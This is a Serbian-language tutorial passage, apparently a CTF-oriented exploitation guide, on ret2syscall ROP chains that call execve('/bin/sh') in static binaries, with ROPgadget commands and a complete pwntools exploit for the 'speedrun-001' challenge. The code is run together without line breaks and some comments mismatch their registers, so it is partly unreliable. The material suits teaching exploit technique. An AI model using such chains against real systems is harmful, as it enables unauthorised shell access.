Ovo je slično Ret2lib, međutim, u ovom slučaju nećemo pozivati funkciju iz biblioteke. U ovom slučaju, sve će biti pripremljeno za pozivanje syscall sys_execve sa nekim argumentima za izvršavanje /bin/sh. Ova tehnika se obično izvodi na binarnim datotekama koje su kompajlirane statički, tako da može biti mnogo gadgeta i syscall instrukcija.
Da bismo pripremili poziv za syscall, potrebna je sledeća konfiguracija:
rax: 59 Specifikujte sys_execve
rdi: ptr do "/bin/sh" specifikujte datoteku za izvršavanje
rsi: 0 specifikujte da nema prosleđenih argumenata
rdx: 0 specifikujte da nema prosleđenih promenljivih okruženja
Dakle, u suštini, potrebno je napisati string /bin/sh negde i zatim izvršiti syscall (imajući u vidu padding potreban za kontrolu steka). Za to nam je potreban gadget da napišemo /bin/sh u poznatom području.
Još jedan zanimljiv syscall za pozivanje je mprotect koji bi omogućio napadaču da modifikuje dozvole stranice u memoriji. Ovo se može kombinovati sa ret2shellcode.
Register gadgets
Hajde da počnemo sa pronalaženjem kako kontrolisati te registre:
Zatim treba da pronađete način da upišete proizvoljan sadržaj na ovu adresu
ROPgadget --binary speedrun-001| grep " : mov qword ptr \["mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
Automatizujte ROP lanac
Sledeća komanda kreira puni sys_execve ROP lanac za dati statički binarni fajl kada postoje write-what-where gadgeti i syscall instrukcije:
ROPgadget--binaryvuln--ropchain
32 бита
'''Lets write "/bin/sh" to 0x6b6000pop rdx, 0x2f62696e2f736800pop rax, 0x6b6000mov qword ptr [rax], rdx'''rop += popRdx # place value into EAXrop +="/bin"# 4 bytes at a timerop += popRax # place value into edxrop +=p32(0x6b6000)# Writable memoryrop += writeGadget #Address to: mov qword ptr [rax], rdxrop += popRdxrop +="//sh"rop += popRaxrop +=p32(0x6b6000+4)rop += writeGadget
64 бита
'''Lets write "/bin/sh" to 0x6b6000pop rdx, 0x2f62696e2f736800pop rax, 0x6b6000mov qword ptr [rax], rdx'''rop =''rop += popRdxrop +="/bin/sh\x00"# The string "/bin/sh" in hex with a null byte at the endrop += popRaxrop +=p64(0x6b6000)# Writable memoryrop += writeGadget #Address to: mov qword ptr [rax], rdx
Nedostatak Gadžeta
Ako vam nedostaju gadžeti, na primer da napišete /bin/sh u memoriji, možete koristiti SROP tehniku da kontrolišete sve vrednosti registara (uključujući RIP i registre parametara) iz steka:
from pwn import*target =process('./speedrun-001')#gdb.attach(target, gdbscript = 'b *0x400bad')# Establish our ROP GadgetspopRax =p64(0x415664)popRdi =p64(0x400686)popRsi =p64(0x4101f3)popRdx =p64(0x4498b5)# 0x000000000048d251 : mov qword ptr [rax], rdx ; retwriteGadget =p64(0x48d251)# Our syscall gadgetsyscall =p64(0x40129c)'''Here is the assembly equivalent for these blockswrite "/bin/sh" to 0x6b6000pop rdx, 0x2f62696e2f736800pop rax, 0x6b6000mov qword ptr [rax], rdx'''rop =''rop += popRdxrop +="/bin/sh\x00"# The string "/bin/sh" in hex with a null byte at the endrop += popRaxrop +=p64(0x6b6000)rop += writeGadget'''Prep the four registers with their arguments, and make the syscallpop rax, 0x3bpop rdi, 0x6b6000pop rsi, 0x0pop rdx, 0x0syscall'''rop += popRaxrop +=p64(0x3b)rop += popRdirop +=p64(0x6b6000)rop += popRsirop +=p64(0)rop += popRdxrop +=p64(0)rop += syscall# Add the padding to the saved return addresspayload ="0"*0x408+ rop# Send the payload, drop to an interactive shell to use our new shelltarget.sendline(payload)target.interactive()
64 bita, nx, bez PIE, upisati u neku memoriju ROP za pozivanje execve i skočiti tamo. Da bi se upisalo na stek, zloupotrebljava se funkcija koja vrši matematičke operacije.